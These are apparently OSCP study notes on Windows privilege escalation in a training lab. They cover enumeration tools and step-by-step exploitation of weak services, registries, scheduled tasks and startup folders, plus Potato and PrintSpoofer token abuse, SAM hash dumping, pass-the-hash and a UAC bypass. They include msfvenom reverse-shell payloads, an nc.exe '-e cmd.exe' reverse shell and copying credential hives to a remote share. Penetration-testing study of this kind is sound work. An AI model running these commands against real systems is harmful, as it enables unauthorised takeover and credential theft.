OSCP notesExtended library
Browse tracks

Windows Privesc

First pass: choose a finding to verify

whoami /all
hostname
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine

For a service finding, establish the account, the controlled object and the next start trigger:

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"

File permissions and service-control permissions are separate. An unquoted path needs an earlier executable candidate you can create and a higher-privileged launch. A user-logon autorun may run only as that user. Replacing the file on disk does not replace the running process; plan how the service will legitimately start again. Preserve the original and restore it if staging fails.

An enabled impersonation privilege is a lead: check the selected method's OS, service and trigger requirements. Administrator group membership at medium integrity is not an elevated token. Verify the resulting identity with whoami /all, then use the proof/evidence checkpoint.

Collect current-host context with our native helper

Copy the entire scripts/ad-map directory, including ADMap.psm1, to a writable local working directory. Preserve the scripts/ad-map layout and run from the directory containing scripts, in Windows PowerShell 5.1:

.\scripts\ad-map\Get-HostSurface.ps1 -OutputDirectory "$env:LOCALAPPDATA\ADMap\host-pass1" -SummaryLimit 8

The output directory must be new and local. Read next-checks.md, host-surface.json and queries.csv. [SUMMARY] lists candidate clues and explicit gaps; failed service/process/listener checks may reflect access restrictions, not absent services. Join listener PID to process/service identity and validate the specific path/permissions manually. RDP registry flags alone do not establish RDP access. Host collection stays on the current machine; it does not probe other hosts. Native helper source.

Automated first pass: winPEAS

Transfer a reviewed winPEAS executable matching the host architecture. From a writable private working directory:

cmd /c ".\winPEASx64.exe notcolor > winpeas.txt 2>&1"
Get-Content .\winpeas.txt

The native shell captures both output streams, including denied checks, without PowerShell treating native stderr as a terminating error. Read skipped/denied checks as gaps. Use services, tasks, permissions and credential-location findings to choose a specific check. Verify the current token, controlled object, privileged consumer and trigger; a red/yellow finding is not proof of elevation. No console registry change is needed.

This replaces the routine sequence of winPEAS plus every other broad Windows collector. It does not replace service/file ACL checks or the escalation procedures below.

Collect only the missing system/user context
cmd /c ".\winPEASx64.exe notcolor systeminfo userinfo > winpeas-context.txt 2>&1"
Get-Content .\winpeas-context.txt

These are current upstream check categories, not the older quiet cmd fast flags. Use a focused run when this information is missing; do not repeat the full inventory. Other categories need the matching build's documented names. winPEAS options.

PrivescCheck: alternative permission/configuration assessment

Choose PrivescCheck if winPEAS cannot run, or if a specific configuration question remains. Run in the low-privilege context you are assessing; elevated runs skip many vulnerability checks.

. .\PrivescCheck.ps1
Invoke-PrivescCheck -Report TXT,HTML -FilePath .\privesc-check

Read the TXT/HTML report, select a finding and validate it. Use -Extended only when its additional inventory addresses a gap. Do not add Audit/Risky categories or force an elevated assessment as a default. This is not a required second scan after winPEAS.

Request extended inventory for a specific missing question
. .\PrivescCheck.ps1
Invoke-PrivescCheck -Extended -Report TXT,HTML -FilePath .\privesc-extended

Obtain the standalone script from the official releases. Read the TXT/HTML reports and console for skipped or blocked checks. An elevated assessment may skip vulnerability checks; use the intended lower-privilege context rather than adding -Force by default. No report is not a clean assessment, and the command does not change execution policy.

Seatbelt: retain focused user-artifact checks

Seatbelt is retained for a concrete missing user-artifact question, rather than another all pass:

.\Seatbelt.exe WindowsCredentialFiles WindowsVault -outputfile="C:\Evidence\seatbelt.json"

Create/use an existing writable C:\Evidence directory first. Credential files can be encrypted DPAPI blobs; their presence is not a recovered password. Access depends on the execution identity. Select other checks from the upstream command list only when needed.

AccessChk: validate the exact object

accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

File/directory and service rights are separate. Review applicable groups, deny effects and integrity restrictions. Use the current trusted Sysinternals AccessChk; an old build is not inherently required for unattended EULA acceptance.

Fallback common permission checks: choose PowerUp or SharpUp

If the primary collector is unavailable, choose the available execution context:

. .\PowerUp.ps1
Invoke-AllChecks
SharpUp.exe audit

PowerUp is PowerShell; SharpUp ports common checks to C#, not every PowerUp function. audit forces checks without relying on the preliminary integrity/elevation decision. Neither is an automatic follow-up to a successful winPEAS pass. Specific manual/abuse functions in a procedure still require their owning tool; replacing enumeration does not replace exploitation.

From ADMIN to SYSTEM

To escalate from an admin user to full SYSTEM privileges, you can use the PsExec tool from Windows Sysinternals.

> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe

Finding Kernel Exploits

Establish the exact OS build, architecture and installed updates before selecting a kernel exploit. Missing-patch reports generate candidates; verify supersedence, affected configuration and exploit prerequisites. Kernel exploits can crash the host. For search websites and collected source links, open the Public exploit finder.

Windows Exploit Suggester

Use WES-NG on Kali to analyze saved host information. On the Windows target, from a writable working directory:

systeminfo > systeminfo.txt

Transfer the file using the existing transfer procedure. From a reviewed WES-NG checkout on Kali, update its definitions and list elevation candidates with known public exploit references:

cd "$HOME/oscp/tools/repos/wesng"
python3 wes.py --update
python3 wes.py /PATH/systeminfo.txt --impact "Elevation of Privilege" --exploits-only

--update needs Internet access; the analysis uses the downloaded definitions. This filter prioritizes published exploit leads, not every possible vulnerability. Verify the actual build, architecture, KBs and affected component against the vendor advisory. A missing-patch result or an exploit link does not confirm applicability.

Obtain WES-NG or check patch supersedence online

Obtain the source using the WES-NG preparation entry.

From that directory, use Microsoft's online Update Catalog to reduce supersedence false positives:

python3 wes.py /PATH/systeminfo.txt --impact "Elevation of Privilege" --exploits-only --muc-lookup

Requires Internet access. A failed lookup or an incomplete host inventory is inconclusive. See WES-NG options and false-positive guidance.

Watson for an explicitly supported older Windows build

Watson is a target-side .NET alternative for its documented Windows 10 releases through 2004 and Server 2016/2019. Use a reviewed build only when that coverage matches the target:

.\Watson.exe

Treat reported CVEs as candidates and check current supersedence; this is not a modern, universal Windows checker or a mandatory second pass after WES-NG.

Legacy Windows exploit collection and retained CVE example

The Windows kernel exploit collection is a legacy source index. The existing example is CVE-2018-8120, with an x64 artifact. Match affected builds and architecture, inspect original source and compilation requirements, and verify the resulting identity; do not select or execute a binary solely because a suggester lists a CVE. Use the existing exploit review/adaptation procedure.

Service Exploits

Before changing a candidate, distinguish service-object rights from executable/directory rights:

sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\PATH\service.exe"
icacls "C:\PATH"

Read the run-as account and executable/arguments, then identify the exact writable object and a usable execution trigger. SERVICE_CHANGE_CONFIG, file-write access and start/stop rights are separate permissions. A space in an unquoted path matters only when a candidate executable prefix can be placed and a more privileged service executes it. A running locked binary may remain unreplacable, and a replacement does not change the running process until a valid restart/trigger. Use the matching method below; do not assume reboot or service control is available. Service access rights.

Query the configuration of a service:

> sc.exe qc <name>

Query the current status of a service:

> sc.exe query <name>

Modify a configuration option of a service:

> sc.exe config <name> <option>= <value>

Start/Stop a service:

sc.exe start SERVICE
sc.exe stop SERVICE

You could also need to reboot restart the machine to restart the service:

shutdown /r /t 0

Insecure Service Permissions

Each service has an ACL which defines certain service-specific permissions:

  1. Some permissions are innocuous (e.g. SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS).
  2. Some may be useful (e.g. SERVICE_STOP, SERVICE_START).
  3. Some are dangerous (e.g. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS)

Note: Be cautious of potential rabbit holes when attempting to escalate privileges. For instance, if you can modify the configuration of a service but are unable to start or stop it, it's possible that you may not be able to escalate privileges.

If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.

  1. Run winPEAS to check for service misconfigurations:
> .\winPEASx64.exe notcolor servicesinfo
  1. Note that we can modify the “daclsvc” service.
  2. We can confirm this with accesschk.exe:
> .\accesschk.exe /accepteula -uwcqv user daclsvc
  1. Check the current configuration of the service:
> sc qc daclsvc
  1. Check the current status of the service:
> sc query daclsvc
  1. Reconfigure the service to use our reverse shell executable:
> sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""
  1. Start a listener on Kali, and then start the service to trigger the exploit:
> net start daclsvc
  1. You could also need to reboot the machine to restart the service:
shutdown /r /t 0

Unquoted Service Path

  1. Run winPEAS to check for service misconfigurations:
> .\winPEASx64.exe notcolor servicesinfo
  1. Note that the “unquotedsvc” service has an unquoted path that also contains spaces: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
  2. Confirm this using sc:
> sc qc unquotedsvc
  1. Use accesschk.exe to check for write permissions:
> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
  1. Copy the reverse shell executable and rename it appropriately:
> copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
  1. Start a listener on Kali, and then start the service to trigger the exploit:
> net start unquotedsvc
  1. You could also need to reboot the machine to restart the service:
shutdown /r /t 0

Weak Registry Permissions

The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.

  1. Run winPEAS to check for service misconfigurations:
> .\winPEASx64.exe notcolor servicesinfo
  1. Note that the “regsvc” service has a weak registry entry. We can confirm this with PowerShell:
> powershell -exec bypass
PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
  1. Alternatively accesschk.exe can be used to confirm:
> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  1. Overwrite the ImagePath registry key to point to our reverse shell executable:
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  1. Start a listener on Kali, and then start the service to trigger the exploit:
> net start regsvc
  1. You could also need to reboot the machine to restart the service:
shutdown /r /t 0

Insecure Service Executables

  1. Run winPEAS to check for service misconfigurations:
> .\winPEASx64.exe notcolor servicesinfo
  1. Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).
> sc qc filepermsvc
  1. Note that the “filepermsvc” service has an executable which appears to be writable by everyone. We can confirm this with accesschk.exe:
> .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
  1. Let's check if we can start and stop the service:
> .\accesschk.exe /accepteula -uvqc filepermsvc
  1. Create a backup of the original service executable:
> copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
  1. Copy the reverse shell executable to overwrite the service executable:
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
  1. Start a listener on Kali, and then start the service to trigger the exploit:
> net start filepermsvc
  1. You could also need to reboot the machine to restart the service:
shutdown /r /t 0

DLL Hijacking

  1. Use winPEAS to enumerate non-Windows services:
> .\winPEASx64.exe notcolor servicesinfo
  1. Note that the C:\Temp directory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to:
> .\accesschk.exe /accepteula -uvqc user dllsvc
  1. The “dllsvc” service is vulnerable to DLL Hijacking. According to the winPEAS output, the service runs the dllhijackservice.exe executable. We can confirm this manually:
> sc qc dllsvc
  1. Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.
  2. Add a new filter on the Process Name matching dllhijackservice.exe.
  3. On the main screen, deselect registry activity and network activity.
  4. Start the service:
> net start dllsvc
  1. Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the hijackme.dll file.
  2. At some point, Windows tries to find the file in the C:\Temp directory, which as we found earlier, is writable by our user.
  3. On Kali, generate a reverse shell DLL named hijackme.dll:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
  1. Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
> net stop dllsvc
> net start dllsvc

Registry Exploits

AutoRuns

Windows can be configured to run commands at startup, with elevated privileges. These “AutoRuns” are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted) you may be able to escalate privileges.

  1. Use winPEAS to check for writable AutoRun executables:
> .\winPEASx64.exe notcolor applicationsinfo
  1. Alternatively, we could manually enumerate the AutoRun executables:
> reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  1. and then use accesschk.exe to verify the permissions on each one:
> .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
  1. The “C:\Program Files\Autorun Program\program.exe” AutoRun executable is writable by Everyone. Create a backup of the original:
> copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
  1. Copy our reverse shell executable to overwrite the AutoRun executable:
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
  1. Start a listener on Kali, and then restart the Windows VM to trigger the exploit. Note that on Windows 10, the exploit appears to run with the privileges of the last logged on user, so log out of the “user” account and log in as the “admin” account first.

AlwaysInstallElevated

MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e. admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.

The catch is that two Registry settings must be enabled for this to work.

The “AlwaysInstallElevated” value must be set to 1 for both

  1. the local machine: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
  2. and the current user: HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

If either of these are missing or disabled, the exploit will not work.

  1. Use winPEAS to see if both registry values are set:
> .\winPEASx64.exe notcolor windowscreds
  1. Alternatively, verify the values manually:
> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  1. Create a new reverse shell with msfvenom, this time using the msi format, and save it with the .msi extension:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
  1. Copy the reverse.msi across to the Windows VM, start a listener on Kali, and run the installer to trigger the exploit:
> msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

Passwords

The following commands will search the registry for keys and values that contain “password”:

> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s

This usually generates a lot of results, so often it is more fruitful to look in known locations.

  1. Use winPEAS to check common password locations:
> .\winPEASx64.exe notcolor filesinfo userinfo
  1. The results show both AutoLogon credentials and Putty session credentials for the admin user (admin/password123).
  2. We can verify these manually:
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
> reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  1. Current Kali provides pth-winexe through the bundled passing-the-hash package. The following legacy client examples use that executable rather than assuming a separate winexe installation:
# pth-winexe -U 'admin%password123' //192.168.1.22 cmd.exe
  1. We can also obtain a system shell using the admin user with winexe:
# pth-winexe -U 'admin%password123' --system //192.168.1.22 cmd.exe

Saved Credentials

Windows has a runas command which allows users to run commands with the privileges of other users. This usually requires the knowledge of the other user’s password. However, Windows also allows users to save their credentials to the system, and these saved credentials can be used to bypass this requirement.

  1. Use winPEAS to check for saved credentials:
> .\winPEASx64.exe notcolor cmd windowscreds
  1. It appears that saved credentials for the admin user exist.
  2. We can verify this manually using the following command:
> cmdkey /list
  1. If the saved credentials aren’t present, run the following script to refresh the credential:
> C:\PrivEsc\savecred.bat
  1. We can use the saved credential to run any command as the admin user. Start a listener on Kali and run the reverse shell executable:
> runas /savecred /user:admin C:\PrivEsc\reverse.exe

Searching for Configuration Files

Some administrators will leave configurations files on the system with passwords in them.

Recursively search for files in the current directory with “pass” in the name, or ending in “.config”:

> dir /s *pass* == *.config

Recursively search for files in the current directory that contain the word “password” and also end in either .xml, .ini, or .txt:

> findstr /si password *.xml *.ini *.txt
  1. Use winPEAS to search for common files which may contain credentials:
> .\winPEASx64.exe notcolor cmd searchfast filesinfo
  1. The Unattend.xml file was found. View the contents:
> type C:\Windows\Panther\Unattend.xml
  1. Found the credentials inside the file we can simply use winexe to spawn a shell as the admin user, or system

SAM/SYSTEM Files

Windows stores password hashes in the Security Account Manager (SAM). The hashes are encrypted with a key which can be found in a file named SYSTEM. If you have the ability to read the SAM and SYSTEM files, you can extract the hashes.

The SAM and SYSTEM files are located in the C:\Windows\System32\config directory. The files are locked while Windows is running. Backups of the files may exist in the following directories:

  1. Backups of the SAM and SYSTEM files can be found in C:\Windows\Repair and are readable by our user.
  2. Copy the files back to Kali:
> copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
> copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\

We can also extract a copy of the SAM and SYSTEM files using reg.exe:

reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
  1. Starting with secretsdump.py (recommended), which is also part of the Impacket Suite of Tools, we can dump the NL and NTLM hashes using the following command:
# impacket-secretsdump -sam SAM -system SYSTEM LOCAL

We can alternatively use samdump2 (not recommended) to dump the hashes the same way, the command is simply:

# samdump2 SYSTEM SAM
  1. Run the pwdump tool against the SAM and SYSTEM files to extract the hashes:
# python3 creddump7/pwdump.py SYSTEM SAM
  1. Crack the admin user hash using hashcat:
# hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

Passing the Hash

We can use a modified version of winexe, pth-winexe to spawn a command prompt using the admin user’s hash.

  1. Extract the admin hash from the SAM in the previous step.
  2. Use the hash with pth-winexe to spawn a command prompt:
# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
  1. Use the hash with pth-winexe to spawn a SYSTEM level command prompt:
# pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

Scheduled Tasks

List all scheduled tasks your user can see:

> schtasks /query /fo LIST /v

In PowerShell:

PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.

  1. In the C:\DevTools directory, there is a PowerShell script called “CleanUp.ps1”. View the script:
> type C:\DevTools\CleanUp.ps1
  1. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:
> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

It appears we have the ability to write to this file.

  1. Backup the script:
> copy C:\DevTools\CleanUp.ps1 C:\Temp\
  1. Start a listener on Kali.
  2. Use echo to append a call to our reverse shell executable to the end of the script:
> echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
  1. Wait for the scheduled task to run (it should run every minute) to complete the exploit.

Insecure GUI Apps (Citrix Method)

In earlier versions of Windows, it was possible for users to be authorized to run certain GUI applications with administrative privileges. There are typically multiple ways to generate command prompts from within GUI applications, including using built-in Windows functionality. As the parent process runs with administrative privileges, any command prompts generated will also be executed with these privileges. This technique is often referred to as the "Citrix Method" because it uses many of the same methods employed to escape from Citrix environments.

  1. Log into the Windows VM using the GUI with the “user” account.
  2. Double click on the “AdminPaint” shortcut on the Desktop.
  3. Open a command prompt and run:
> tasklist /V | findstr mspaint.exe

Note that mspaint.exe is running with admin privileges.

  1. In Paint, click File, then Open.
  2. In the navigation input, replace the contents with:
file://c:/windows/system32/cmd.exe
  1. Press Enter. A command prompt should open running with admin privileges.

Startup Apps

Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.

Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file:

CreateShortcut.vbs

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
  1. Use accesschk.exe to check permissions on the StartUp directory:
> .\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
  1. Note that the BUILTIN\Users group has write access to this directory.
  2. Create a file CreateShortcut.vbs with the VBScript provided in a previous slide. Change file paths if necessary.
  3. Run the script using cscript:
> cscript CreateShortcut.vbs
  1. Start a listener on Kali, then log in as the admin user to trigger the exploit.

Installed Applications

Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations results from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.

Manually enumerate all running programs:

> tasklist /v

We can also use Seatbelt to search for nonstandard processes:

> .\seatbelt.exe NonstandardProcesses

winPEAS also has this ability (note the misspelling):

> .\winPEASx64.exe notcolor procesinfo

Once you find an interesting process, try to identify its version. You can try running the executable with /? or -h, as well as checking config or text files in the Program Files directory. Use Exploit-DB to search for a corresponding exploit. Some exploits contain instructions, while others are code that you will need to compile and run.

Hot Potato

Historical general-lab example: this spoofing/relay technique is outside the current exam baseline. Source preparation is optional and does not run it.

Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.

Note: These steps are for Windows 7

  1. Copy the potato.exe exploit executable over to Windows.
  2. Start a listener on Kali.
  3. Run the exploit:
.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
  1. Wait for a Windows Defender update, or trigger one manually.

Service Accounts (Rotten Potato / Juicy Potato)

Rotten Potato

The original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the “SeImpersonatePrivilege” privilege enabled.

Juicy Potato

Juicy Potato works in the same way as Rotten Potato, but the authors did extensive research and found many more ways to exploit.

Juicy Potato is available here:

Open resource

Source attachment

Note: These steps are for Windows 7

  1. Copy PSExec64.exe and the JuicyPotato.exe exploit executable over to Windows.
  2. Start a listener on Kali.
  3. Using an administrator command prompt, use PSExec64.exe to trigger a reverse shell running as the Local Service service account:
> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
  1. Start another listener on Kali.
  2. Now run the JuicyPotato exploit to trigger a reverse shell running with SYSTEM privileges:
> C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}
  1. If the CLSID ({03ca...) doesn’t work for you, either check this list or run the GetCLSID.ps1 PowerShell script.:

Open resource

SeImpersonatePrivilege

An impersonation path needs a suitable privileged authentication/token source, a compatible trigger and the required token/process rights. An enabled privilege alone is not an exploit, and a Windows access token is not a Kerberos ticket.

Choose a method only after matching its actual Windows build, service/pipe/COM prerequisites and tool behavior. PrintSpoofer is not a universal replacement for JuicyPotato on every recent build.

Access Token Abuse

SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege can enable specific token operations when the selected method's other conditions hold. Verify the returned identity and integrity level rather than equating a listed privilege with SYSTEM.

JuicyPotato - supported legacy builds and a verified CLSID

# edit nc.bat with correct params and transfer to remote host
cmd> whoami /priv
cmd> JuicyPotato.exe -p C:\PATH\PAYLOAD.exe -l PORT -t * -c CLSID

# Exploit failed - incorrect CLSID
Testing {4991D34B-80A1-4291-B697-000000000000} 443
COM -> recv failed with error: 10038

# Exploit worked - correct CLSID
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 443
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK

PrintSpoofer - Windows 10 and Server 2016/2019

PrintSpoofer.exe is available here:

Open resource

# spawn a SYSTEM command prompt
cmd> printspoofer.exe -i -c cmd

# get a SYSTEM reverse shell
cmd> printspoofer.exe -c "C:\temp\nc.exe [LHOST] [LPORT] -e cmd.exe"

Port Forwarding

Use this when Windows can initiate SSH to Kali but Kali needs a connection to a service reachable from that Windows host. Complete Kali SSH endpoint preparation; forwarding must be allowed by that endpoint's policy. Use a free high port on Kali rather than enabling root SSH login.

From Windows, keep the tunnel process running. Here USER is the ordinary Kali SSH account; verify the host key fingerprint shown by Plink:

plink.exe -ssh -N -R 1445:127.0.0.1:445 USER@LHOST

On Kali, check the loopback listener:

ss -ltn '( sport = :1445 )'

For the existing SMB service-execution method, use a Windows identity whose service/share rights have already been validated. DOMAIN/USER in this command is that Windows identity, not the Kali SSH account:

impacket-psexec -port 1445 'DOMAIN/USER@127.0.0.1'

The password is prompted. A listener proves only local binding; the remote service and account must still permit the operation. Stop the Plink process when finished. Do not toggle target firewalls or stop unrelated Kali services to manufacture this path. For other transports, use the existing pivoting procedure.

getsystem (Named Pipes & Token Duplication)

Access Tokens

Access Tokens are special objects in Windows which store a user’s identity and privileges. Primary Access Token – Created when the user logs in, bound to the current user session. When a user starts a new process, their primary access token is copied and attached to the new process. Impersonation Access Token – Created when a process or thread needs to temporarily run with the security context of another user.

Token Duplication

Windows allows processes/threads to duplicate their access tokens. An impersonation access token can be duplicated into a primary access token this way. If we can inject into a process, we can use this functionality to duplicate the access token of the process, and spawn a separate process with the same privileges.

Named Pipes

You may be already familiar with the concept of a “pipe” in Windows & Linux:

> systeminfo | findstr Windows

A named pipe is an extension of this concept. A process can create a named pipe, and other processes can open the named pipe to read or write data from/to it. The process which created the named pipe can impersonate the security context of a process which connects to the named pipe.

getsystem

The “getsystem” command in Metasploit’s Meterpreter shell has an almost mythical status. By running this simple command, our privileges are almost magically elevated to that of the SYSTEM user. What does it actually do?

The source code for the getsystem command can be found here:

Open resource

Three files are worth looking through: elevate.c, namedpipe.c, and tokendup.c There are 3 techniques getsystem can use to “get system”.

getsystem was designed as a tool to escalate privileges from a local admin to SYSTEM. The Named Pipe techniques require local admin permissions. The Token Duplication technique only requires the SeDebugPrivilege privilege, but is also limited to x86 architectures. getsystem should not be thought of as a user -> admin privilege escalation method in modern systems.

Named Pipe Impersonation (In Memory/Admin)

Creates a named pipe controlled by Meterpreter. Creates a service (running as SYSTEM) which runs a command that interacts directly with the named pipe. Meterpreter then impersonates the connected process to get an impersonation access token (with the SYSTEM security context). The access token is then assigned to all subsequent Meterpreter threads, meaning they run with SYSTEM privileges.

Named Pipe Impersonation (Dropper/Admin)

Very similar to Named Pipe Impersonation (In Memory/Admin). Only difference is a DLL is written to disk, and a service created which runs the DLL as SYSTEM. The DLL connects to the named pipe.

Token Duplication (In Memory/Admin)

This technique requires the “SeDebugPrivilege”. It finds a service running as SYSTEM which it injects a DLL into. The DLL duplicates the access token of the service and assigns it to Meterpreter. Currently this only works on x86 architectures. This is the only technique that does not have to create a service, and operates entirely in memory.

User Privileges

In Windows, user accounts and groups can be assigned specific “privileges”. These privileges grant access to certain abilities. Some of these abilities can be used to escalate our overall privileges to that of SYSTEM. Highly detailed paper:

Open resource

The whoami command can be used to list our user’s privileges, using the /priv option:

whoami /priv

Note that “disabled” in the state column is irrelevant here. If the privilege is listed, your user has it.

SeAssignPrimaryTokenPrivilege

The SeAssignPrimaryPrivilege is similar to SeImpersonatePrivilege. It enables a user to assign an access token to a new process. Again, this can be exploited with the Juicy Potato exploit.

SeBackupPrivilege

The SeBackupPrivilege grants read access to all objects on the system, regardless of their ACL. Using this privilege, a user could gain access to sensitive files, or extract hashes from the registry which could then be cracked or used in a pass-the-hash attack.

SeRestorePrivilege

The SeRestorePrivilege grants write access to all objects on the system, regardless of their ACL. There are a multitude of ways to abuse this privilege:

SeTakeOwnershipPrivilege

The SeTakeOwnershipPrivilege lets the user take ownership over an object (the WRITE_OWNER permission). Once you own an object, you can modify its ACL and grant yourself write access. The same methods used with SeRestorePrivilege then apply.

Other Privileges (More Advanced)

UAC BYPASS

Open resource

EventViewer-UACBypass

Usage

PS C:\Windows\Tasks> Import-Module .\Invoke-EventViewer.ps1

PS C:\Windows\Tasks> Invoke-EventViewer 
[-] Usage: Invoke-EventViewer commandhere
Example: Invoke-EventViewer cmd.exe

PS C:\Windows\Tasks> Invoke-EventViewer cmd.exe
[+] Running
[1] Crafting Payload
[2] Writing Payload
[+] EventViewer Folder exists
[3] Finally, invoking eventvwr

Prepare tools used on this page

Run setup on Kali after preparing the shared workspace. Skip a clone when its checkout already exists; review/update it deliberately rather than cloning over it. Operational commands remain in the sections above.

Prepare Windows Exploit Suggester Next Generation

Runs on Kali. Definition update needs Internet access; host analysis uses a separately collected systeminfo file. Upstream.

git clone --depth 1 https://github.com/bitsadmin/wesng.git "$HOME/oscp/tools/repos/wesng"
cd "$HOME/oscp/tools/repos/wesng"
python3 wes.py --update

Check on Kali:

python3 "$HOME/oscp/tools/repos/wesng/wes.py" --help
Prepare PrivescCheck

Runs in Windows PowerShell on the target. Download the standalone release, not an incomplete development source tree. File presence is not target execution validation. Upstream.

curl -fL https://github.com/itm4n/PrivescCheck/releases/latest/download/PrivescCheck.ps1 -o "$HOME/oscp/tools/artifacts/windows/PrivescCheck.ps1"

Check on Kali:

test -s "$HOME/oscp/tools/artifacts/windows/PrivescCheck.ps1"
head -n 3 "$HOME/oscp/tools/artifacts/windows/PrivescCheck.ps1"
Prepare AccessChk

Windows native binaries. Keep the extracted package and select accesschk.exe for x86 or accesschk64.exe for x64; read the bundled EULA. Upstream.

curl -fL https://download.sysinternals.com/files/AccessChk.zip -o "$HOME/oscp/tools/downloads/AccessChk.zip"
unzip -o "$HOME/oscp/tools/downloads/AccessChk.zip" -d "$HOME/oscp/tools/artifacts/windows/accesschk"

Check on Kali:

file "$HOME/oscp/tools/artifacts/windows/accesschk/accesschk64.exe"
Prepare Our native AD / host helpers

